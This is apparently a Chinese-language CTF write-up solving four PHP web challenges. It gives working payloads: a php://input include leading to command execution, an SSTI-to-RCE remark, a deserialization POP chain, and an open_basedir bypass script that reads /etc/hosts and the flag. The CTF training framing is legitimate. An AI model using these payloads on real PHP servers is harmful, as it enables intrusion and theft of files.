第一届“启航杯”网络安全挑战赛 WP
Easy_include
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | <?php error_reporting(0);
  $file=$_GET['file']; if(isset($file)) {     if(!preg_match("/flag/i",$file))     {         include($file);     }     else     {         echo("no no no ~ ");     } } else {     highlight_file(__FILE__); } ?>
   | 
 
可以使用 php 伪协议实现 RCE。
Payload(GET): file=php://input
Post-data:
1
   | <?php system('cat flag.php');?>
  | 
 
Web_IP
/flag.php 页面会返回用户 IP,将 HTTP 头 Client-ip 修改后,页面显示的 IP 发生变化。使用 Wappalyzer 发现是 PHP 写的,尝试 SSTI 注入 {{1+1}} 成功了,于是直接 RCE。
Web_pop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
   | <?php error_reporting(0); highlight_file(__FILE__); class Start{     public $name;     protected $func;
      public function __destruct()     {         echo "Welcome to QHCTF 2025, ".$this->name;     }
      public function __isset($var)     {         ($this->func)();     } }
  class Sec{     private $obj;     private $var;
      public function __toString()     {         $this->obj->check($this->var);         return "CTFers";     }
      public function __invoke()     {         echo file_get_contents('/flag');     } }
  class Easy{     public $cla;
      public function __call($fun, $var)     {         $this->cla = clone $var[0];     } }
  class eeee{     public $obj;
      public function __clone()     {         if(isset($this->obj->cmd)){             echo "success";         }     } }
  if(isset($_POST['pop'])){     unserialize($_POST['pop']); } ?>
   | 
 
这是一道反序列化题目,网上可以搜到原题。
Payload:
1
   | O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";r:1;}}s:3:"var";r:4;}s:4:"func";r:2;}
  | 
 
PHP 反序列化常见知识点整理
- private 属性序列化格式: 
%00类名%00成员名 
- protected 属性序列化格式: 
%00*%00成员名 
魔法方法表(摘要)
| 魔法方法 | 
作用 | 
| __construct() | 
对象创建时调用(unserialize 时不会自动调用) | 
| __destruct() | 
对象销毁时自动调用 | 
| __call() | 
调用不可访问方法时触发 | 
| __callStatic() | 
静态调用不可访问方法时触发 | 
| __get() | 
读取不可访问属性时触发 | 
| __set() | 
写入不可访问属性时触发 | 
| __isset() | 
在不可访问属性上调用 isset()/empty() 时触发 | 
| __unset() | 
在不可访问属性上使用 unset() 时触发 | 
| __invoke() | 
将对象当作函数调用时触发 | 
| __wakeup() | 
unserialize() 时自动调用 | 
| __sleep() | 
serialize() 时调用 | 
| __toString() | 
对象转换为字符串时触发(例如 echo) | 
__toString 的触发条件较多,常见包括:
- echo / print 对象时触发  
 
- 与字符串连接时  
 
- 参与格式化字符串时  
 
- 与字符串做 == 比较时(PHP 可能转换类型)  
 
- 参与 SQL 参数绑定时  
 
- 作为参数经过 strlen()、addslashes() 等字符串函数时  
 
- 在 in_array() 中比较时(当数组中有 toString 返回的字符串)  
 
- 作为 class_exists() 的参数时
 
PCREMagic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
   | <?php function is_php($data){      return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data); }
  if(empty($_FILES)) {     die(show_source(__FILE__)); }
  $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) {     echo "bad request"; } else {     if (!is_dir($user_dir)) {         mkdir($user_dir, 0755, true);     }     $path = $user_dir . '/' . random_int(0, 10) . '.php';     move_uploaded_file($_FILES['file']['tmp_name'], $path);
      header("Location: $path", true, 303);     exit; } ?>
   | 
 
表面上是一个带有一句话木马 WAF 的临时文件上传题,但环境有很多限制。
上传 <?php phpinfo(); ?> 查看环境后,发现大量函数被禁用(如 system, shell_exec, passthru, exec, popen, proc_open, pcntl_exec, mail, putenv, apache_setenv, mb_send_mail, dl, set_time_limit, ignore_user_abort, symlink, link, error_log 等),并且 open_basedir 被限制为 /tmp/:/var/www/,无法直接跳转到根目录。
通过使用 glob('*') 替代 ls 并结合 ini_set 強行修改环境中的 open_basedir,构造 payload 读取 flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   | <?php     print_r(ini_get('open_basedir')."<br>");
      mkdir('test');     chdir('test');     ini_set('open_basedir','..');     chdir('..');     chdir('..');     chdir('..');     chdir('..');     chdir('..');     chdir('..');     ini_set('open_basedir','/');
      echo file_get_contents('/etc/hosts');     print_r(ini_get('open_basedir')."<br>");     echo getcwd() . " ";     print_r(glob('*'));     echo file_get_contents('flag'); ?>
   | 
 
参考:CTF Tricks - PHP-绕过open_basedir_directoryiterator php ctf - CSDN 博客